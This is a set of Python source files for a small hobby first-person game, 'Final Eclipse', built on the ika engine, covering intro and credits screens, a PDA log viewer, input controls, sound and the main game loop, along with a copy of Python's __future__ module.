#engine.engine.Reload(Shells) class Hypo(Stackable): img = ika.Image("Img/items/hypo.png") def __init__(self, count=1): super(type(self), self).__init__(type(self).img, 1, 1, "Health hypo", count, True) def Use(self): engine.engine.Heal(20) self.count -= 1
Python
import ika import engine def Start(): ika.Video.DrawRect(0,0,320,240,ika.RGB(0,0,0), 1) ika.Video.ShowPage() music = ika.Music("music/intro.ogg") music.loop = True music.Play() img = ika.Image("Img/logo/ika_work.png") fridge=[] for i in range(1, 10): fridge.append(ika.Image("Img/logo/bitchfridge"+str(i)+".png")) team=ika.Image("Img/logo/team.png") presents=ika.Image("Img/logo/presents.png") ika.Delay(100) time = ika.GetTime() t = 0 while t<255: ika.Input.Update() ika.Video.DrawRect(0,0,320,240,ika.RGB(0,0,0), 1) ika.Video.TintBlit(img, 0, 0, ika.RGB(255, 255, 255, t)) ika.Video.ShowPage() t=ika.GetTime()-time while t<355: ika.Input.Update() t=ika.GetTime()-time while t<610: ika.Input.Update() ika.Video.DrawRect(0,0,320,240,ika.RGB(0,0,0), 1) ika.Video.TintBlit(img, 0, 0, ika.RGB(255, 255, 255, 610-t)) ika.Video.ShowPage() t=ika.GetTime()-time while t<680: ika.Input.Update() t=ika.GetTime()-time time = ika.GetTime() t=0 while t<128: ika.Input.Update() ika.Video.DrawRect(0,0,320,240,ika.RGB(t*2,t*2,t*2), 1) ika.Video.TintBlit(fridge[0], 0, 0, ika.RGB(255,255,255, t*2)) ika.Video.ShowPage() t=ika.GetTime()-time time = ika.GetTime() t=0 while t<578: ika.Input.Update() ika.Video.DrawRect(0,0,320,240,ika.RGB(255,255,255), 1) if t<128: ika.Video.Blit(fridge[0], 0, 0) ika.Video.TintBlit(team, 124, 10, ika.RGB(255, 255, 255, t*2)) if t>=128 and t<180: ika.Video.Blit(fridge[0], 0, 0) ika.Video.Blit(team, 124, 10) if t>=180 and t<250: ika.Video.Blit(team, 124, 10) ika.Video.Blit(fridge[int((t-180)/10)], 0, 0) if t>=250 and t<350: ika.Video.Blit(fridge[8], 0, 0) ika.Video.Blit(team, 124, 10) if t>=350 and t<478: ika.Video.Blit(fridge[8], 0, 0) ika.Video.Blit(team, 124, 10) ika.Video.TintBlit(presents, 88, 210, ika.RGB(255, 255, 255, (t-350)*2)) if t>=478 and t<578: ika.Video.Blit(fridge[8], 0, 0) ika.Video.Blit(team, 124, 10) ika.Video.Blit(presents, 88, 210) ika.Video.ShowPage() t=ika.GetTime()-time time = ika.GetTime() t=0 while t<128: ika.Input.Update() ika.Video.DrawRect(0,0,320,240,ika.RGB(255-t*2,255-t*2,255-t*2), 1) ika.Video.TintBlit(fridge[8], 0, 0, ika.RGB(255,255,255, 255-t*2)) ika.Video.TintBlit(team, 124, 10, ika.RGB(255,255,255, 255-t*2)) ika.Video.TintBlit(presents, 88, 210, ika.RGB(255,255,255, 255-t*2)) ika.Video.ShowPage() t=ika.GetTime()-time #Title planet = ika.Image("Img/title/planet.png") background = ika.Image("Img/title/background.png") title = ika.Image("Img/title/finaleclipse.png") titleglow = ika.Image("Img/title/finaleclipse_glow.png") opts = ika.Image("Img/title/new_load_quit.png") sunglow = ika.Image("Img/title/sunglow.png") optsg = ika.Image("Img/title/new_load_quit_glow.png") optsglow = [ika.Image("Img/title/new_load_quit_glow1.png"), ika.Image("Img/title/new_load_quit_glow2.png"), ika.Image("Img/title/new_load_quit_glow3.png")] time = ika.GetTime() t = 0 glow = 0 glow2 = 0 #while t<1280: done=False selected = 0 glowvalue = [255, 0, 0] glowincrement = [0, 0, 0] counted = False while not done: ika.Input.Update() ika.Video.Blit(background, 0, 0) if t>=500: s=t-500 if s%400<200: glow = int(255 - (s%400)/4) else: glow = int(155 + (s%400)/4) if t>=755: s=t-755 if s%600<300: glow2 = (s%600)/4 else: glow2= 150-(s%600)/4 if t<500: ika.Video.DrawRect(0,0,320,240,ika.RGB(0,0,0, 255-t/2), 1) glow = (t/2)+5 ika.Video.TintBlit(sunglow, 0, 0, ika.RGB(255, 255, int(255-glow/2), glow)) ika.Video.Blit(planet, 139-t/16, 48+t/50) if t>=500 and t<755: ika.Video.TintBlit(sunglow, 0, 0, ika.RGB(255, glow, 128, glow)) ika.Video.Blit(planet, 108, 58) ika.Video.TintBlit(titleglow, 0, 0, ika.RGB(int(t-250), 0, 0, int(t-500))) ika.Video.TintBlit(title, 0, 0, ika.RGB(255, 255, 255, t-500)) if t>=755 and t<1010: ika.Video.TintBlit(sunglow, 0, 0, ika.RGB(255, glow, 128, glow)) ika.Video.Blit(planet, 108, 58) ika.Video.TintBlit(titleglow, 0, 0, ika.RGB(int(255-glow2/2), 0, 0, int(255-glow2))) ika.Video.Blit(title, 0, 0) ika.Video.TintBlit(optsg, 190, 130, ika.RGB(164, 164, 255, int((t-755)/2)) ) ika.Video.TintBlit(optsglow[0], 190, 130, ika.RGB(164, 164, 255, t-755)) ika.Video.TintBlit(opts, 190, 130, ika.RGB(255, 255, 255, t-755)) if t>=1010: if counted == False: #cheap attempt at getting a good speed for the crossfades if ika.GetFrameRate < 100: inc = 300 / ika.GetFrameRate() else: inc = 3 counted = True ika.Video.TintBlit(sunglow, 0, 0, ika.RGB(255, glow, 128, glow)) ika.Video.Blit(planet, 108, 58) ika.Video.TintBlit(titleglow, 0, 0, ika.RGB(int(255-glow2/2), 0, 0, int(255-glow2))) ika.Video.Blit(title, 0, 0) ika.Video.TintBlit(optsg, 190, 130, ika.RGB(164, 164, 255, 128)) for i in range(3): if glowincrement[i] != 0: glowvalue[i] += glowincrement[i] if glowvalue[i] > 255: glowvalue[i] = 255 if glowvalue[i] < 0: glowvalue[i] = 0 ika.Video.TintBlit(optsglow[i], 190, 130, ika.RGB(164, 164, 255, int(glowvalue[i]))) ika.Video.Blit(opts, 190, 130) if ika.Input.keyboard['UP'].Pressed(): glowincrement[selected] = -inc selected -= 1 if selected < 0: selected = 2 glowincrement[selected] = inc if ika.Input.keyboard['DOWN'].Pressed(): glowincrement[selected] = -inc selected += 1 if selected > 2: selected = 0 glowincrement[selected] = inc if t>1000 and ika.Input.keyboard['RETURN'].Pressed(): done=True scr=ika.Video.GrabImage(0,0,320,240) #font.Print(0,0,str(t)) #font.Print(0,20,str(glowincrement)) #font.Print(0,30,str(glowvalue)) ika.Video.ShowPage() t=ika.GetTime()-time time = ika.GetTime() t = 0 while t<128: music.volume = (128-t)/128.0 ika.Video.Blit(scr, 0,0) ika.Video.DrawRect(0,0,320,240,ika.RGB(0,0,0, t*2), 1) ika.Video.ShowPage() ika.Input.Update() t=ika.GetTime()-time if selected == 2: ika.Exit("") if engine.engine: engine.engine.NewGame()
Python
import ika import engine class PDA(object): def __init__(self): self.mode = 0 self.buttons = [ika.Image("Img/ui/hudbmap.png"), ika.Image("Img/ui/hudbstat.png"), ika.Image("Img/ui/hudbobj.png"), ika.Image("Img/ui/hudblog.png")] self.bhighlight = -1 self.scroll_up = ika.Image("Img/ui/scroll_up.png") self.scroll_down = ika.Image("Img/ui/scroll_down.png") self.scroll_bar = ika.Image("Img/ui/scroll_bar.png") self.scroll_block = ika.Image("Img/ui/scroll_block.png") self.closebox = ika.Image("Img/ui/closebox.png") self.scroll = 0 self.page = 0 #0 = list, 1 = message self.highlight = -1 self.fulllogs = self.LoadLogs() self.logs = self.ReduceLogs() self.font = ika.Font('fonts/log_grey.fnt') self.hlfont = ika.Font('fonts/log_white.fnt') def Draw(self): x = engine.engine.MouseX() y = engine.engine.MouseY() bhl = False for i in range(4): #pda mode button highlight if self.mode != i and x > 199 and x < 199+33 and y > 171+16*i and y < 171+16*(i+1): r,g,b,a = ika.GetRGB(engine.engine.color) ika.Video.TintBlit(self.buttons[i], 199, 171+16*i, ika.RGB(r,g,b,192)) if self.bhighlight != i: engine.engine.sound.Play("highlight.wav") self.bhighlight = i bhl = True if bhl == False: self.bhighlight = -1 ika.Video.TintBlit(self.buttons[self.mode], 199, 171+16*self.mode, engine.engine.color) if self.mode == 0: # Map engine.engine.DrawAutoMap() if self.mode == 1: # Stats self.font.Print(13,174, "Health: "+str(engine.engine.health)+"/"+str(engine.engine.max_health)) self.font.Print(13,184, "Immunity: "+str(engine.engine.immunity)+"/"+str(engine.engine.max_immunity)) self.font.Print(13,194, "Attack: "+str(engine.engine.attack)) self.font.Print(13,204, "Defense: "+str(engine.engine.defense)) if self.mode == 3: #Logs :D num = 0 if self.page == 0: #Log List highlighted = False for i in range(min(6, len(self.logs))): if x > 13 and x <13 + self.font.StringWidth(self.logs[i][1]) and y > 174+10*i and y < 174+10*(i+1): if i != self.highlight: engine.engine.sound.Play("highlight.wav") self.highlight = i highlighted = True if highlighted == False: self.highlight = -1 if len(self.logs)>0: for i in range(self.scroll, len(self.logs)): show, title, message = self.logs[i] if num < 6: if self.highlight == num: self.hlfont.Print(13, 174+10*num, title) else: self.font.Print(13, 174+10*num, title) num += 1 else: #View the message for i in range(self.scroll, len(self.message)): if num < 6: self.font.Print(13, 174+10*num, self.message[i]) num += 1 ika.Video.TintBlit(self.closebox, 178, 173, engine.engine.color) #Scroll bar stuff ika.Video.TintDistortBlit(self.scroll_bar, (188, 181, engine.engine.color),(196, 181, engine.engine.color), (196, 224, engine.engine.color),(188, 224, engine.engine.color)) if self.page == 0: scroll_range = len(self.logs) - 6 else: scroll_range = len(self.message) - 6 size = 43 ypos = 181 if scroll_range > 0: if scroll_range == 1: #special case that looks nice size = 35 else: size = 42 / scroll_range + 1 ypos = 181+((self.scroll * (43-size)) / scroll_range) #ika.Video.TintBlit(self.scroll_block, 188, int(ypos), engine.engine.color) ika.Video.TintDistortBlit(self.scroll_block, (188, int(ypos), engine.engine.color),(196, int(ypos), engine.engine.color), (196, int(ypos+size), engine.engine.color),(188, int(ypos+size), engine.engine.color)) ika.Video.TintBlit(self.scroll_up, 188, 173, engine.engine.color) ika.Video.TintBlit(self.scroll_down, 188, 224, engine.engine.color) #ika.Video.TintDistortBlit(self.scroll_block, # (188, int(ypos), engine.engine.color),(196, int(ypos), engine.engine.color), # (196, int(ypos+size), engine.engine.color),(188, int(ypos+size), engine.engine.color)) #ika.Video.DrawRect(188, int(ypos), 196, int(ypos+size), ika.RGB(0, 0, 0, 0), 1) #self.font.Print(10,0, str(self.scroll)) #self.font.Print(10,10, str(ypos)) #self.font.Print(10,20, str(size)) #self.font.Print(10,40, str(scroll_range)) def SetMode(self, m): self.mode = m self.page = 0 self.scroll = 0 def Click(self, x, y): for i in range(4): #pda mode button click if x > 199 and x < 199+33 and y > 171+16*i and y < 171+16*(i+1): self.SetMode(i) engine.engine.sound.Play("click.wav") if self.mode == 3: if self.page == 1: if x >= 178 and x <= 178+8 and y >= 173 and y <= 173+8: #close log self.page = 0 self.scroll = 0 engine.engine.sound.Play("click.wav") if x >= 188 and x <= 188+8 and y >= 173 and y <= 173+8: #scroll up if self.scroll > 0: self.scroll -= 1 engine.engine.sound.Play("click.wav") if x >= 188 and x <= 188+8 and y >= 224 and y <= 224+8: #scroll down if self.page == 0: if self.scroll < len(self.logs)-6: self.scroll += 1 else: if self.scroll < len(self.message)-6: self.scroll += 1 engine.engine.sound.Play("click.wav") if x > 188 and x < 188+8 and y > 181 and y < 224: #clicked inside the scroll bar (not done yet) if self.page == 0: scroll_range = len(self.logs) - 6 else: scroll_range = len(self.message) - 6 if scroll_range > 0: pass if self.page == 0 and x > 13 and x <180: for i in range(min(6, len(self.logs))): if y > 174+10*i and y < 174+10*(i+1): #clicked on a message self.page = 1 self.message = self.logs[i+self.scroll][2] self.scroll = 0 engine.engine.sound.Play("click.wav") def LoadLogs(self): f = file("logs.dat") linelist = f.readlines() f.close() logs = [] message = [] title = "" for l in linelist: if title == "": title = l #first line of file or first line after # character is always the log title else: if l[0] != "#": #loop until a # character is reached message.append(l) else: logs.append((False, title, message)) #Logs by default are not read, so False message = [] title = "" ika.Input.Update() return logs def ReadLog(self, num): read, title, message = self.fulllogs[num] self.fulllogs[num] = (True, title, message) self.logs = self.ReduceLogs() def ReduceLogs(self): #only add the ones that have been read l = [] for i in self.fulllogs: if i[0] is True: l.append(i) return l
Python
import engine
Python
import ika import engine def Start(): planet = ika.Image("Img/title/planet.png") background = ika.Image("Img/title/background.png") title = ika.Image("Img/title/finaleclipse.png") titleglow = ika.Image("Img/title/finaleclipse_glow.png") sunglow = ika.Image("Img/title/sunglow.png") fridge = ika.Image("Img/logo/bitchfridge9.png") music = ika.Music("music/office.ogg") music.Play() ika.Delay(100) time = ika.GetTime() t = 0 glow = 0 glow2 = 0 done = False font = ika.Font("fonts/tinyfont.fnt") while t<6255: if t%400<200: glow = int(255 - (t%400)/4) else: glow = int(155 + (t%400)/4) if t%600<300: glow2 = (t%600)/4 else: glow2= 150-(t%600)/4 ika.Video.Blit(background, 0, 0) ika.Video.TintBlit(sunglow, 0, 0, ika.RGB(255, glow, 128, glow)) ika.Video.Blit(planet, 108, 58) if t<255: ika.Video.DrawRect(-1,-1,320,240, ika.RGB(0,0,0,255-t), 1) elif t<6000: ika.Video.TintBlit(titleglow, 0, 300-(t/4), ika.RGB(int(255-glow2/2), 0, 0, int(255-glow2))) ika.Video.Blit(title, 0, 300-(t/4)) ika.Video.Blit(fridge, 0, 600-(t/4)) Center(font, 850-(t/4), "-= Team Bitchfridge =-") Center(font, 930-(t/4), "Code:") Center(font, 950-(t/4), "Hatchet - @Boy are my fingers tired@") Center(font, 1030-(t/4), "Art:") Center(font, 1050-(t/4), "corey - @I like to make pretty pictures@") Center(font, 1130-(t/4), "Music:") Center(font, 1150-(t/4), "infey - @I am a cool guy and I like girls@") Center(font, 1230-(t/4), "Special Thanks:") Center(font, 1250-(t/4), "andy - For making ika and fixing bugs") Center(font, 1270-(t/4), "IRC testers - Your feedback was appreciated") Center(font, 1400-(t/4), "Thank you for playing!") Center(font, 1410-(t/4), "Full version coming soon!") else: ika.Video.DrawRect(-1,-1,320,240, ika.RGB(0,0,0,t-6000), 1) music.volume = (6255-t) / 255.0 t=ika.GetTime()-time ika.Video.ShowPage() ika.Input.Update() ika.Exit("") def Center(font, y, txt): font.Print(160-font.StringWidth(txt)/2, y, txt)
Python
"""Record of phased-in incompatible language changes. Each line is of the form: FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease "," CompilerFlag ")" where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples of the same form as sys.version_info: (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int PY_MINOR_VERSION, # the 1; an int PY_MICRO_VERSION, # the 0; an int PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string PY_RELEASE_SERIAL # the 3; an int ) OptionalRelease records the first release in which from __future__ import FeatureName was accepted. In the case of MandatoryReleases that have not yet occurred, MandatoryRelease predicts the release in which the feature will become part of the language. Else MandatoryRelease records when the feature became part of the language; in releases at or after that, modules no longer need from __future__ import FeatureName to use the feature in question, but may continue to use such imports. MandatoryRelease may also be None, meaning that a planned feature got dropped. Instances of class _Feature have two corresponding methods, .getOptionalRelease() and .getMandatoryRelease(). CompilerFlag is the (bitfield) flag that should be passed in the fourth argument to the builtin function compile() to enable the feature in dynamically compiled code. This flag is stored in the .compiler_flag attribute on _Future instances. These values must match the appropriate #defines of CO_xxx flags in Include/compile.h. No feature line is ever to be deleted from this file. """ all_feature_names = [ "nested_scopes", "generators", "division", ] __all__ = ["all_feature_names"] + all_feature_names # The CO_xxx symbols are defined here under the same names used by # compile.h, so that an editor search will find them here. However, # they're not exported in __all__, because they don't really belong to # this module. CO_NESTED = 0x0010 # nested_scopes CO_GENERATOR_ALLOWED = 0x1000 # generators CO_FUTURE_DIVISION = 0x2000 # division class _Feature: def __init__(self, optionalRelease, mandatoryRelease, compiler_flag): self.optional = optionalRelease self.mandatory = mandatoryRelease self.compiler_flag = compiler_flag def getOptionalRelease(self): """Return first release in which this feature was recognized. This is a 5-tuple, of the same form as sys.version_info. """ return self.optional def getMandatoryRelease(self): """Return release in which this feature will become mandatory. This is a 5-tuple, of the same form as sys.version_info, or, if the feature was dropped, is None. """ return self.mandatory def __repr__(self): return "_Feature" + repr((self.optional, self.mandatory, self.compiler_flag)) nested_scopes = _Feature((2, 1, 0, "beta", 1), (2, 2, 0, "alpha", 0), CO_NESTED) generators = _Feature((2, 2, 0, "alpha", 1), (2, 3, 0, "final", 0), CO_GENERATOR_ALLOWED) division = _Feature((2, 2, 0, "alpha", 2), (3, 0, 0, "alpha", 0), CO_FUTURE_DIVISION)
Python
#!/usr/bin/env python import ika """ [Controls] UP DOWN LEFT RIGHT JUMP FIRE MISSILE_FIRE BOOST SPIDER_BALL AIM_UP AIM_DOWN BEAM_SELECT MISSILE_SELECT MISSILE_HOLD [Scheme] Depending on scheme, some of the buttons work differently. MISSILE_SELECT either changes type of missile (#1) or switches main firing (#2). BEAM_SELECT either changes type of beam (#1) or switchs main weapon type (#2). """ def GetButtons(): """ Returns buttons filtered by position and pressed. """ return filter(PositionFilter, buttons), filter(PressedFilter, buttons) def PositionFilter(button): return buttons[button].Position() > 0.5 def PressedFilter(button): return buttons[button].Pressed() # Analog deadzone. deadzone = 0.5 raw_controls = dict() key_names = ['BACKSPACE', 'TAB', 'CLEAR', 'RETURN', 'PAUSE', 'ESCAPE', 'SPACE', 'EXCLAIM', 'QUOTEDBL', 'HASH', 'DOLLAR', 'AMPERSAND', 'QUOTE', 'LEFTPAREN', 'RIGHTPAREN', 'ASTERISK', 'PLUS', 'COMMA', 'MINUS', 'PERIOD', 'SLASH', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'COLON', 'SEMICOLON', 'LESS', 'EQUALS', 'GREATER', 'QUESTION', 'AT', 'LEFTBRACKET', 'BACKSLASH', 'RIGHTBRACKET', 'CARET', 'UNDERSCORE', 'BACKQUOTE', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'DELETE', 'KP0', 'KP1', 'KP2', 'KP3', 'KP4', 'KP5', 'KP6', 'KP7', 'KP8', 'KP9', 'KP_PERIOD', 'KP_DIVIDE', 'KP_MULTIPLY', 'KP_MINUS', 'KP_PLUS', 'KP_ENTER', 'KP_EQUALS', 'UP', 'DOWN', 'RIGHT', 'LEFT', 'INSERT', 'HOME', 'END', 'PAGEUP', 'PAGEDOWN', 'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'F11', 'F12', 'F13', 'F14', 'F15', 'NUMLOCK', 'CAPSLOCK', 'SCROLLOCK', 'RSHIFT', 'LSHIFT', 'RCTRL', 'LCTRL', 'RALT', 'LALT', 'RMETA', 'LMETA', 'LSUPER', 'RSUPER', 'MODE'] #Load up keyboard controls. for key in key_names: raw_controls["key:" + key] = ika.Input.keyboard[key] # joystick: for joyIndex, joy in enumerate(ika.Input.joysticks): # joystick axes: for axisIndex, axis in enumerate(joy.axes): raw_controls['joy:%i:axis:%i+' % (joyIndex, axisIndex)] = axis for axisIndex, axis in enumerate(joy.reverseaxes): raw_controls['joy:%i:axis:%i-' % (joyIndex, axisIndex)] = axis # joystick buttons: for buttonIndex, button in enumerate(joy.buttons): raw_controls['joy:%i:buttons:%i' % (joyIndex, buttonIndex)] = button class Button(object): __slots__ = ( "controls", #List. List of current controls. "onpress", #Function. Called when button is pressed and repeated. "onrelease", #Function. Called when button is released. "pressed" ) def __init__(self, *keys): self.controls = {} for key in keys: self.Add(key) self.pressed = False def GetControls(self): keys = [] for key in self.controls: keys.append(key) return ",".join(keys) def Set(self, *keys): self.controls = {} for key in keys: self.Add(key) def Add(self, key): if key in raw_controls: self.controls[key] = raw_controls[key] def Position(self): for key in self.controls: v = self.controls[key].Position() if abs(v) >= deadzone: break else: return 0.0 return v def Pressed(self): p = self.Position() if self.pressed: if abs(p) < deadzone: self.pressed = False return False else: if abs(p) >= deadzone: self.pressed = True return True else: return False #Default controls are for: WASD+numpad, arrow keys+ASDF, joystick. #Directional buttons up = Button("key:UP", "joy:0:axis:1-") down = Button("key:DOWN","joy:0:axis:1+") left = Button("key:LEFT","joy:0:axis:0-") right = Button("key:RIGHT", "joy:0:axis:0+") #Main functionality buttons. jump = Button("key:Z","joy:0:buttons:2") fire = Button("key:X","joy:0:buttons:0") aim_up = Button("key:A", "joy:0:buttons:6") boost = Button("key:A", "joy:0:buttons:6") aim_down = Button("key:D", "joy:0:buttons:7") spider_ball = Button("key:D", "joy:0:buttons:7") #Item management buttons. beam_select = Button("key:LCTRL", "joy:0:buttons:3") weapon_select = Button("key:LSHIFT", "joy:0:buttons:4") missile = Button("key:C", "joy:0:buttons:1") #Classic start button. start = Button("key:SPACE", "key:SPACE", "joy:0:buttons:5") #Dict of all the buttons. buttons = {"up": up, "down": down, "left": left, "right": right, "jump": jump, "fire": fire, "aim_up": aim_up, "aim_down": aim_down, "boost": boost, "spider_ball": spider_ball, "beam_select": beam_select, "weapon_select": weapon_select, "missile": missile, "start": start} missile_style = 0 #0 = Missile: Fires Missile/Super Missile or Power Bomb. Weapon Select: Change between Missile and Super Missile. #1 = Missile: Hold to enable Missile/Super Missile or Power Bomb. Weapon Select: Change between Missile and Super Missile. #2 = Missile: Nothing. Weapon Select: Change between beam, Missile, Super Missile, and Power Bomb.
Python
import engine
Python
import ika class Sound(object): def __init__(self, maxsize=24): self.sounds = [] self.maxsize = maxsize def Play(self, filename, volume=0.5): s = ika.Sound("sfx/"+filename) s.volume = volume s.Play() self.sounds.append(s) if len(self.sounds) > self.maxsize: #cut the list in half when it gets too big self.sounds = self.sounds[int(self.maxsize/2):]
Python
import ika from inventory import * import intro from const import * import entity import sound import pda import credits import controls ika.SetCaption(ika.GetCaption() + " - Final Eclipse") engine = None #intro.Start() #credits.Start() class Engine(object): def __init__(self): self.tinyfont = ika.Font('fonts/log_white.fnt') self.itemfont = ika.Font('fonts/item_white.fnt') self.itemfontgrey = ika.Font('fonts/item_grey.fnt') self.gunfont = ika.Font('fonts/font_gun.fnt') self.pda = pda.PDA() self.messages = Messages() self.fullscreen = False self.sound = sound.Sound() self.hudmain = ika.Image("img/ui/hudmain.png") self.hudcolor = ika.Image("img/ui/hudcolor.png") self.spectrum = ika.Canvas("img/ui/hudspectrum.png") self.hudhealth = ika.Image("img/ui/hudhealth.png") self.pointer = ika.Image("img/ui/pointer.png") self.ptr = self.pointer self.left=8 self.top=5 self.lw0=[] self.cw0=[] self.rw0=[] self.lp0=[] self.rp0=[] self.lw1=[] self.cw1=[] self.rw1=[] self.lp1=[] self.rp1=[] self.lw2=[] self.cw2=[] self.rw2=[] self.lp2=[] self.rp2=[] self.flp3=[] self.lp3=[] self.rp3=[] self.frp3=[] self.texturetest=ika.Image("Img/Walls/texturetest.png") self.objects = [] self.objnum = 20 self.decalnum = 40 self.arrows = [] for i in range(4): self.arrows.append(ika.Image("Img/minimap/Pointer"+str(i)+".png")) self.tiles=[ika.Image("Img/minimap/space.png"), ika.Image("Img/minimap/wall.png"), ika.Image("Img/minimap/enemy.png"), ika.Image("Img/minimap/enemy_d.png")] self.backflip = 0 self.moved = False self.LoadWalls("medsci") self.LoadObjects() self.handframes = [ika.Image("Img/weapons/fp_handr.png"), ika.Image("Img/weapons/fp_handr_punch1.png"), ika.Image("Img/weapons/fp_handr_punch2.png")] self.pipeframes = [ika.Image("Img/weapons/fp_pipe.png"), ika.Image("Img/weapons/fp_pipe_hit1.png"), ika.Image("Img/weapons/fp_pipe_hit2.png")] self.pistolframes = [ika.Image("Img/weapons/fp_pistol.png"), ika.Image("Img/weapons/fp_pistol_firing.png")] self.shotgunframes = [ika.Image("Img/weapons/fp_shotgun.png"), ika.Image("Img/weapons/fp_shotgun_firing.png"), ika.Image("Img/weapons/fp_shotgun_cock.png")] self.rifleframes = [ika.Image("Img/weapons/fp_rifle.png"), ika.Image("Img/weapons/fp_rifle_firing.png")] self.color = ika.RGB(0,0,0) self.offtable = [(0,-1), (1, 0), (0, 1), (-1,0)] self.offtable_l = [(-1, 0), (0, -1), (1, 0), (0, 1)] self.offtable_r = [(1, 0), (0, 1), (-1, 0), (0, -1)] def LoadWalls(self, deck): walllist = [] if deck == "medsci": walllist = ["med1", "med2", "med1win", "med1door"] self.back=[ika.Image("img/backgrounds/"+deck+"1.png"), ika.Image("img/backgrounds/"+deck+"2.png")] for path in walllist: self.lw0.append(ika.Image("img/walls/"+path+"/flat1left.png")) self.cw0.append(ika.Image("img/walls/"+path+"/flat1mid.png")) self.rw0.append(ika.Image("img/walls/"+path+"/flat1right.png")) self.lp0.append(ika.Image("img/walls/"+path+"/per1left.png")) self.rp0.append(ika.Image("img/walls/"+path+"/per1right.png")) self.lw1.append(ika.Image("img/walls/"+path+"/flat2left.png")) self.cw1.append(ika.Image("img/walls/"+path+"/flat2mid.png")) self.rw1.append(ika.Image("img/walls/"+path+"/flat2right.png")) self.lp1.append(ika.Image("img/walls/"+path+"/per2left.png")) self.rp1.append(ika.Image("img/walls/"+path+"/per2right.png")) self.lw2.append(ika.Image("img/walls/"+path+"/flat3left.png")) self.cw2.append(ika.Image("img/walls/"+path+"/flat3mid.png")) self.rw2.append(ika.Image("img/walls/"+path+"/flat3right.png")) self.lp2.append(ika.Image("img/walls/"+path+"/per3left.png")) self.rp2.append(ika.Image("img/walls/"+path+"/per3right.png")) self.flp3.append(ika.Image("img/walls/"+path+"/per4farleft.png")) self.lp3.append(ika.Image("img/walls/"+path+"/per4left.png")) self.rp3.append(ika.Image("img/walls/"+path+"/per4right.png")) self.frp3.append(ika.Image("img/walls/"+path+"/per4farright.png")) def LoadObjects(self): objlist = ["table", "medtable", "blood_floor1", "blood_floor2", "crate"] filelist = ["1left.png", "1mid.png","1right.png", "2left.png", "2mid.png","2right.png", "3left.png", "3mid.png","3right.png"] for path in objlist: obj = [] for img in filelist: obj.append(ika.Image("img/objects/"+path+"/"+img)) self.objects.append(obj) def LoadDecals(self): decallist = ["dcode_g", "dcode_r", "dkey_g", "dkey_r", "switch1", "switch2", "door"] pass def NewGame(self): self.inv = Inventory() self.equip = Equip() self.entities=[ entity.Vagimon(10,3, ika.Random(0, 4)), entity.Vagimon(5,8, ika.Random(0, 4)), entity.Vagimon(7,11, ika.Random(0, 4)), entity.Vagimon(3,11, ika.Random(0, 4)), entity.Vagimon(11,17, ika.Random(0, 4)), entity.Vagimon(15,7, ika.Random(0, 4)), entity.Vagimon(11,10, ika.Random(0, 4)), entity.Vagimon(13,12, ika.Random(0, 4)), entity.Vagimon(6,15, ika.Random(0, 4)), entity.Vagimon(12,20, ika.Random(0, 4)), entity.Vagimon(15,19, ika.Random(0, 4)), entity.Vagimon(22,16, ika.Random(0, 4)), entity.Vagimon(22,21, ika.Random(0, 4)), entity.Vagimon(19,20, ika.Random(0, 4)), entity.Vagimon(21,22, ika.Random(0, 4)), entity.Vagimon(19,14, ika.Random(0, 4)), entity.Vagimon(26,14, ika.Random(0, 4)), entity.Vagimon(29,12, ika.Random(0, 4)), entity.Walker(19,4, ika.Random(0, 4)), entity.Walker(19,7, ika.Random(0, 4)), entity.Walker(23,3, ika.Random(0, 4)), entity.Walker(18,11, ika.Random(0, 4)), entity.Walker(9,11, ika.Random(0, 4)), entity.Walker(6,20, ika.Random(0, 4)), entity.Walker(4,22, ika.Random(0, 4)), entity.Walker(14,19, ika.Random(0, 4)), entity.Walker(14,22, ika.Random(0, 4)), entity.Walker(15,15, ika.Random(0, 4)), entity.Walker(23,14, ika.Random(0, 4)), entity.Walker(25,19, ika.Random(0, 4)), entity.Walker(28,20, ika.Random(0, 4)), entity.Walker(27,7, ika.Random(0, 4)), entity.Walker(26,3, ika.Random(0, 4)), entity.Walker(29,3, ika.Random(0, 4)), entity.Walker(26,5, ika.Random(0, 4)) ] self.message = ["", "", ""] self.items = { (4, 6) : [Pipe()], (9,5) : [Armor1()], (9,5) : [Hypo(2)], (4,8) : [Pistol(7)], (3,12) : [Clip()], (13,5) : [Clip()], (9,7) : [Shotgun(2)], (23,3) : [Shells()], (23,4) : [Shells()], (23,5) : [Shells()], (22,9) : [Armor2()], (11,9) : [Clip()], (7,14) : [Rifle(60)], (7,15) : [Clip(48)], (3,14) : [Clip(48)], (3,15) : [Hypo()], (18,9) : [Shells()], (19,9) : [Shells()], (15,12) : [Armor3()], (22,11) : [Shells()], (23,11) : [Shells()], (23,12) : [Shells()], (27,21) : [Pistol(16)], (29,21) : [Rifle(60)], (5, 6) : [Recorder(0)], (12,7) : [Recorder(1)], (10,7) : [Hypo(2)], (10,7) : [Recorder(2)], (21,6) : [Recorder(3)], (11,9) : [Recorder(4)], (17,11) : [Recorder(5)], (29,21) : [Recorder(6)] } self.health = 70 self.max_health = 100 self.immunity = 80 self.max_immunity = 100 self.attack = 0 self.defense = 2 self.plrx = 3 self.plry = 5 self.facing = EAST self.backflip = 0 self.moved = False self.curframe = 0 self.attacking = False self.reloading = False self.animtimer = 0 self.music = ika.Music("music/medsci.ogg") self.music.loop = True self.music.Play() def Run(self): time = ika.GetTime() done = False color = 0 while not done: if self.plrx == 27 and self.plry == 2: #HACK self.End() t = ika.GetTime() while t > time: time += 1 self.AnimUpdate() self.messages.Update() for e in self.entities: e.Update() time = ika.GetTime() self.color = self.spectrum.GetPixel(self.health, 0) ika.Input.Update() self.UpdateStats() self.Move() self.DrawWalls() self.DrawFrames() ika.Video.Blit(self.hudmain, 0, 0) ika.Video.TintBlit(self.hudcolor, 0, 0, self.color) ika.Video.TintDistortBlit(self.hudhealth, (249, 144, self.color), (249 + (50 * self.health / self.max_health), 144, self.color), (249 + (50 * self.health / self.max_health), 150, self.color), (249, 150, self.color)) self.inv.Draw() self.equip.Draw() self.pda.Draw() self.messages.Draw() if not self.fullscreen: self.DoMouse() else: #no mouse in fullscreen 